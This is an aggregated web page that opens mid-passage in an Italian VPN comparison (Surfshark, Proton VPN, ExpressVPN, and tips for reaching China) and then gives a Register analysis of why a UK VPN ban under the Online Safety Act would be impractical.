gestione delle richieste legali e la rimozione automatica dei propri dati personali dai database dei data broker aziendali e dai siti di ricerca persone (disponibile per i residenti in Unione Europea, Stati Uniti, Regno Unito, Svizzera e Canada). L’infrastruttura, pur dichiarando l’assenza di limiti commerciali, è protetta da algoritmi di monitoraggio per prevenire utilizzi impropri. Le condizioni d’uso specificano i seguenti perimetri: Uso personale e domestico: la condivisione delle credenziali è considerata legittima all’interno dello stesso nucleo abitativo o per la propria dotazione hardware professionale. Prevenzione dell’abuso commerciale: i sistemi di backend tracciano pattern di connessione anomali (come centinaia di tunnel VPN attivati simultaneamente dallo stesso account o la generazione automatica di botnet). In presenza di tali evidenze, l’account viene temporaneamente sospeso per violazione della Fair Use Policy. Eccezioni sui servizi correlati: la politica dell’illimitato si applica esclusivamente al traffico dati e alla cifratura della VPN. Le funzioni accessorie incluse nei piani One e One+ seguono logiche differenti: - Surfshark Antivirus: mantiene un limite restrittivo di 5 dispositivi protetti in simultanea per licenza. - Alternative ID: prevede limitazioni quantitative sul volume di messaggi e sul numero di alias generabili, al fine di evitare lo sfruttamento del servizio per attività di spamting. Garanzia di rimborso: presente su tutte le opzioni di acquisto. Consente di esercitare il diritto di recesso entro 30 giorni dalla registrazione iniziale con storno completo dei fondi. Add-on opzionali (Checkout): funzionalità verticali come l’IP Dedicato (disponibile in 20 località per evitare i blocchi IP e i captcha) o il Numero di telefono alternativo virtuale contro lo spam telefonico possono essere integrati a pagamento nel pannello di gestione account. 🇮🇹 Server in Italia: Milano e Palermo ⚙️ Numero di server: 20.017 🗺️ Paesi: 145 💻 Indirizzi IP: N/D 📱 Device massimi supportati: fino a 10 dispositivi 🔐 Sicurezza: OpenVPN, WireGuard, Stealth 👨💻 Assistenza 24/7: e-mail e ticket (risposta entro 24 ore) 🏢 Sede legale: Svizzera 🔥Offerte attive: SCONTO fino al 70% L’approccio della suite elvetica Proton VPN si differenzia per lo sviluppo di un protocollo proprietario espressamente progettato per contrastare la censura nei regimi restrittivi: Infrastruttura Secure Core: per gli utenti che necessitano della massima protezione contro il tracciamento di Stato, Proton consente il routing del traffico attraverso server fisici situati in giurisdizioni neutrali e protette (Islanda o Svizzera) prima di immettersi nella rete globale. Protocollo Stealth: basato su architettura open-source (costruito su TLS e WireGuard), non si limita a cifrare i dati, ma maschera la connessione VPN per farla apparire come traffico web ordinario. Evita il blocco preventivo senza compromettere il throughput della connessione. Il posizionamento infrastrutturale di Proton VPN si distingue per una scalabilità hardware massiccia, finalizzata a coniugare l’assoluto anonimato a prestazioni di throughput elevate: Scala del Network: l’infrastruttura globale ha superato i 20.000 server attivi, distribuiti capillarmente in oltre 140 Paesi. Architettura e trasparenza: a differenza dei principali competitor di fascia premium, il software di Proton VPN è 100% Open Source e costantemente sottoposto ad audit di sicurezza indipendenti da parte di terze parti. I server operano sotto una rigorosa politica di no-log (certificata e pubblicata apertamente), la quale garantisce che indirizzi IP, registri di traffico e dati di navigazione non vengano mai monitorati o archiviati. Ottimizzazione della banda: la rete supporta lo streaming ad alta velocità, la larghezza di banda illimitata e il download rapido su protocolli P2P/BitTorrent. Include la tecnologia proprietaria VPN Accelerator, in grado di ottimizzare l’efficienza di calcolo della CPU e aumentare le velocità di connessione stabili fino al 400% sulle lunghe distanze. Giurisdizione Svizzera: Proton AG ha sede legale e operativa in Svizzera. Questo posiziona l’intera azienda al di fuori delle alleanze di sorveglianza internazionale (come i network 5/9/14 Eyes) e sotto la tutela delle severe leggi federali elvetiche sulla protezione dei dati. La strategia di pricing di Proton AG si basa su forti sconti progressivi applicati ai cicli di fatturazione a lungo termine (1 e 2 anni). Tutti i piani indicati includono la licenza per la protezione simultanea di un massimo di 10 dispositivi e sono protetti dalla garanzia di rimborso integrale entro 30 giorni. ExpressVPN per navigare in Cina: pro e contro 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN non è più solo una VPN, ma si presenta come suite di sicurezza integrata con tre asset proprietari di forte rilievo: Infrastruttura di Rete: copertura radar in 105 Paesi, protezione post-quantistica nativa e protocollo proprietario Lightway. ExpressMailGuard (Inoltro privato email): servizio di alias per mascherare la propria casella postale (il piano Base include 2 domini alias e 25 invii giornalieri; l’Avanzato sale a 6 domini e 50 invii; il Pro offre alias illimitati e 100 invii al giorno). ExpressKeys (Password Manager): incluso nei piani Avanzato e Pro per memorizzare credenziali senza limiti e monitorare la sicurezza delle password. ExpressAI (Chatbot privato): disponibile esclusivamente nel piano Pro con un’allocazione di 500 crediti al giorno per l’elaborazione riservata dei dati. eSIM holiday.com: connessione dati internazionale inclusa per l’estero (3 giorni senza limiti sul piano Avanzato, 5 giorni sul Pro). Quanto costa ExpressVPN L’offerta commerciale di ExpressVPN si articola su tre piani tariffari, con sconti progressivi associati all’estensione del ciclo di fatturazione: 2 anni, 1 anno e 1 mese. La nuova offerta si articola su tre livelli (Base, Avanzato, Pro) e tre cicli di fatturazione. Tutti i piani includono la garanzia di rimborso di 30 giorni per i nuovi utenti. La gestione delle connessioni simultanee non è più rigida, ma cresce proporzionalmente al livello di abbonamento sottoscritto dal professionista: ExpressVPN Basic: consente la protezione di un massimo di 10 dispositivi in contemporanea. ExpressVPN Advanced: estende la licenza fino a 12 dispositivi simultanei. ExpressVPN Pro: offre il tetto massimo di 14 dispositivi connessi, configurandosi come la licenza singola più capiente tra i top provider (superando i 10 dispositivi standard di NordVPN e Proton VPN). Storicamente ExpressVPN è sempre stato identificato come il provider più costoso del mercato (con lo storico piano da 6,67 $/mese). La nuova rimodulazione del piano Basic a partire da 2,49 €/mese colma il gap competitivo pur mantenendo una barriera d’ingresso iniziale leggermente superiore. Quando si sceglie una VPN per la Cina è fondamentale tenere conto della capacità del servizio di superare costantemente il Grande Firewall, mantenendo al contempo la massima discrezione nel traffico dati. Non tutte le VPN riescono a funzionare nel Paese, quindi è cruciale orientarsi verso provider che integrano tecnologie avanzate di offuscamento e che abbiano esperienza specifica nel contesto cinese. Anche l’accesso a server localizzati strategicamente, ad esempio a Hong Kong, Singapore o Giappone, può incidere positivamente sull’efficienza della connessione. L’aggiornamento continuo del software e il supporto a metodi di pagamento anonimi, come le criptovalute, rappresentano ulteriori elementi che possono fare la differenza. Navigare dall’Europa verso la Cina tramite VPN può essere utile per diverse ragioni, principalmente per accedere a contenuti o servizi cinesi che potrebbero essere limitati geograficamente al di fuori della Cina. Ecco i consigli chiave: 1. Scopo dell’utilizzo della VPN (accesso a contenuti cinesi): Streaming e TV cinese: Per guardare piattaforme di streaming cinesi (come Youku, iQiyi, Tencent Video) o accedere a canali TV cinesi, avremo bisogno di un indirizzo IP cinese. Servizi bancari o e-commerce cinesi: Alcuni servizi finanziari o siti di e-commerce in Cina potrebbero richiedere un IP cinese per un accesso completo o sicuro. Applicazioni e giochi cinesi: Alcune app o giochi potrebbero essere geo-ristretti alla Cina. 2. Scelta della VPN con server in Cina (o aree vicine con IP cinese): Disponibilità di server in Cina: Questo è il requisito fondamentale. Molte VPN, anche quelle di alto livello, non hanno server fisici in Cina a causa delle severe leggi locali. Se li hanno, sono spesso server virtuali o dislocati in Hong Kong o in paesi vicini che offrono IP cinesi. Server a Hong Kong/Taiwan/Macao: Queste regioni spesso fungono da “porte d’accesso” per gli IP cinesi, offrendo una buona connettività e un minore rischio legale per il provider VPN. Verificare se la VPN offre server in queste località e se assegnano un IP riconosciuto come “cinese” dai servizi che si intende usare. Velocità e affidabilità dei server cinesi: Anche se siamo in Europa, la distanza fisica dal server in Cina (o nell’area vicina) influenzerà la velocità. Bisogna cercare VPN con server ben mantenuti e veloci in Asia orientale per minimizzare la latenza. 3. Prestazioni e velocità (essenziali per lo streaming): Bassa latenza (Ping): A causa della grande distanza tra l’Europa e la Cina, la latenza sarà un fattore critico. Bisogna scegliere una VPN che sia nota per le sue buone prestazioni su lunghe distanze. Larghezza di banda: Per lo streaming video in alta qualità, avremo bisogno di una VPN che offra una larghezza di banda illimitata e senza strozzature. 4. Protocolli VPN supportati: OpenVPN, IKEv2/IPSec, WireGuard: Questi protocolli sono generalmente i più veloci e sicuri. WireGuard è spesso il più performante per la velocità. Protocolli proprietari: Alcune VPN potrebbero avere protocolli proprietari ottimizzati per la velocità o per aggirare specifiche restrizioni (anche se queste sono più comuni per chi naviga dalla Cina verso l’esterno). 5. Sicurezza e Privacy (anche se meno critiche che navigare dalla Cina): Crittografia Robusta: Anche se non stiamo aggirando il Grande Firewall, una buona crittografia (AES-256) è sempre consigliabile per proteggere i nostri dati. Politica No-Logs: Assicurarsi che la VPN non registri le nostre attività. Kill Switch: Protegge i nostri dati in caso di interruzione della connessione VPN. 6. Costo e prove gratuite/garanzie soddisfatti o rimborsati: Le VPN con server in Cina o in Paesi vicini potrebbero avere un costo maggiore. Si potrebbero provare provider che offrano una prova gratuita o una garanzia di rimborso (es. 30 giorni) per testare le prestazioni dei server cinesi prima di impegnarci. 7. Servizio Clienti: Un supporto clienti reattivo può aiutarci a identificare i server migliori per le nostre esigenze e a risolvere eventuali problemi di connessione o accesso ai servizi cinesi. 8. VPN popolari che potrebbero offrire server pertinenti (verificare sempre la disponibilità specifica di server cinesi o con IP cinese): ExpressVPN: Spesso ha server a Hong Kong e in altre località asiatiche vicine che possono fornire accesso ai contenuti cinesi. NordVPN: Simile a ExpressVPN, con una buona copertura in Asia. Surfshark: Offre un buon rapporto qualità-prezzo e server in diverse località asiatiche. 9. Punti importanti da considerare: Non tutte le VPN che funzionano bene in Cina (per uscire) funzionano bene per entrare in Cina (ottenere un IP cinese). Le esigenze tecnologiche sono diverse. Chi esce deve aggirare il Firewall, chi entra deve solo avere un IP cinese funzionante. Il numero di server con IP cinese potrebbe essere limitato e la loro velocità può variare notevolmente. Verificare sempre i termini di servizio della VPN riguardo all’utilizzo dei server in Cina. In Cina la stabilità della connessione VPN non è garantita a causa delle continue interferenze da parte delle autorità. Per questo è importante scegliere un provider con una rete solida, che garantisca una disponibilità costante dei server anche in caso di blocchi improvvisi. Alcune VPN offrono funzioni di riconnessione automatica, monitoraggio intelligente dei server e infrastrutture cloud ridondanti per assicurare una connessione continua, indispensabile per lavoro, streaming o semplice navigazione. Una VPN efficace in Cina deve bilanciare sicurezza e velocità. Poiché l’offuscamento dei dati e la crittografia possono rallentare la connessione, è essenziale che la VPN selezionata utilizzi protocolli rapidi e leggeri, come WireGuard o protocolli proprietari ottimizzati. La presenza di server ottimizzati in aree geografiche vicine, la gestione intelligente del carico e una rete infrastrutturale ben distribuita sono fattori che permettono di mantenere buone prestazioni anche per attività più intensive come videochiamate o streaming in alta definizione. In un Paese dove le VPN possono smettere di funzionare da un giorno all’altro, un supporto clienti efficiente e tempestivo diventa un requisito cruciale. Le migliori VPN offrono assistenza 24/7 via chat, email o ticketing, con personale preparato a gestire problematiche specifiche legate al contesto cinese. Disporre di guide aggiornate, accesso a mirror site funzionanti e suggerimenti su server consigliati per la Cina può fare la differenza tra riuscire a connettersi o restare bloccati. I protocolli utilizzati da una VPN determinano il livello di sicurezza e la capacità di aggirare le restrizioni. In Cina è preferibile scegliere VPN che supportano protocolli come OpenVPN con offuscamento (Obfsproxy, XOR), Shadowsocks, o soluzioni proprietarie pensate per eludere la censura. Anche WireGuard, se integrato con livelli avanzati di offuscamento, può offrire un buon compromesso tra velocità e protezione. La possibilità di passare dinamicamente da un protocollo all’altro consente di adattarsi ai cambiamenti del sistema di censura, aumentando la resilienza del servizio.

cybersecurity360.itAug 1, 2025extracted

VPN su Kodi: la guida per streaming sicuro, veloce e anonimo

cybersecurity360.itJul 31, 2025extracted

Banning VPNs to protect kids? Good luck with that

ANALYSIS With the UK's Online Safety Act (OSA) now in effect, it was only a matter of time before tech-savvy under-18s figured out how to bypass the rules and regain access to adult content. The more creative wangled the "robust" selfie-based verification systems by using the in-game selfie feature in the Death Stranding sequel, which worked for Discord's k-ID system. However the more obvious workaround was to simply install a VPN and browse the web as if from another country where such age verification laws don't apply. As has been widely reported, including by this vulture's kettlemates, some VPN companies reported a 1,400 percent increase in sign-ups since the OSA came into force. The idea of a total VPN ban was subsequently floated, but how realistic or feasible would this be to implement? How a ban could look If you want the short answer, experts we spoke to were predictably dismissive. One told us that its "not gonna happen." The government could pull various technical levers, such as banning the sale of VPN kit, but as people who spoke to The Register about the matter said, it would be like banning people from smoking in their own homes. "You might not like it, but good luck enforcing it," said Graeme Stewart, head of public sector at Check Point Software. "The logistics are near-impossible. You could, in theory, ban the sale of VPN equipment, or instruct ISPs not to accept VPN traffic. But even then, people will find workarounds. All you'd achieve is pushing VPN use underground, creating a black market for VPN concentrators. "The only way to do it is badly. You'd effectively be forcing ISPs to block legitimate encrypted traffic and, in doing so, you'd be regulating an entire industry out of existence. Worse still, you'd be legislating against cybersecurity and privacy." Speaking of which, the UK's largest mobile network operator, EE, proudly announced this week that it was the first carrier to launch SIMs for under-18s that block access to "inappropriate content." A clear play to capitalize on parents' newfound obsession with online safety, courtesy of the Act, this comes despite EE having offered parental controls for years, like most other providers. EE is also now offering 30-minute online safety appointments for all families, regardless of whether they are a paying customer, in their retail stores so parents can drag their kids along to hear stuff they almost certainly know more about than their elders. Beyond the drawbacks of an ISP-level content block Stewart mentioned, it is also likely that once one VPN is banned, there will always be another to block, and a game of cyber whack-a-mole would ensue. Jake Moore, global cybersecurity advisor at ESET, told us that other methods could see the UK veering into enemy territory, not to mention a PR calamity. "Although we shouldn't even consider adopting a route used by China, the Chinese use the technique of analyzing traffic patterns for VPN usage, but this requires expensive infrastructure and constant updates so again, not feasible," he said. "Furthermore, many VPNs offer modes to make their traffic look like regular HTTPS anyway, making detection harder yet again." To put it in his plainer terms: "Not gonna happen." Scott McGready, co-founder of Damn Good Security, agreed that if UK ISPs started snitching on their customers' VPN usage, it would be "a very worrying position to be in" and the unintended consequences for legitimate users and businesses would be massive. Potential impact of a VPN ban McGready's point about affecting legitimate users is valid. A VPN ban would be a lazy way to achieve the government's aims, which as we understand aren't to limit privacy, but to quell access to online harms. Officially, the UK wants to limit underage access to adult content, make it more difficult for harassers to hide behind privacy-preserving technologies, put an end to illegal streaming, and similar – not prevent people from using VPNs to protect themselves on public Wi-Fi networks, for example. That's the government's line, anyway, although its attack on end-to-end encryption might have you believe there is more to its ambition than that. But how many people – beyond those with a solid understanding of cybersecurity – are really using VPNs to stay safe on public networks? Other than those whose employers demand they hook up to the corporate network using one? A fair few, as it goes. According to a Forbes Advisor poll, enhanced online privacy prevailed as the top use case for UK VPN users, although the same proportion (24 percent) of respondents said they used them to access restricted content as they did for work. The data suggests Brits aren't just looking for ways to stream the footy illegally, or access a few foreign shows on Netflix, although this undoubtedly drives a certain amount of subscriptions. They use VPNs to preserve personal security and privacy, too – legitimate, necessary use cases. To take that away would force the UK down a worrying path, aligning it with geopolitical adversaries. Morally unconscionable? Some countries that ban the use of VPNs include Russia, the United Arab Emirates, Iran, Saudi Arabia, Turkmenistan, Myanmar, Belarus, and China. That's not even an exhaustive list, but it shows the questionable company the UK would keep should it choose to ban VPNs. A ban not only puts the UK on a concerning trajectory from a privacy and cybersecurity standpoint, but it is also unlikely to work in practice. Possible? Yes, but the practicality of policing such a ban would be challenging. As shown by individuals in nearly all the aforementioned countries that outlaw VPNs, bans don't prevent use. People always find ways to circumvent such restrictions, as they do routinely and successfully in more authoritarian countries. All a UK ban would do is provide the impetus for young people to learn how to circumvent the legislation by using outlawed privacy tech. They would find a way, they always do. If restricting children's access to sensitive content is the aim of the game, parents need to be more proactive in making use of the existing network, device, and app-level controls available to them, not support a ban for technology that preserves privacy for all. Communications regulator Ofcom told us on Monday that platforms covered by the OSA must not promote content that encourages the use of VPNs or means to circumvent age checks. However, tech secretary Peter Kyle, following the furor he stoked after a post comparing OSA opponents to sexual predators (which remarkably has still yet to be deleted), confirmed the UK has no current plans to ban VPNs. He told Sky News on Tuesday that he will look "very closely" at how VPNs were being used and that the majority of Brits were playing by the rules. A digital petition to repeal the OSA has now reached north of 423,000 e-signatures at the time of writing, a figure well beyond the threshold triggering a Parliamentary debate on the matter. UK Parliament is in recess until September, but a government response to the petition has already stated it has no plans to repeal the Act. ®

go.theregister.comJul 31, 2025extracted

Loading 1 more…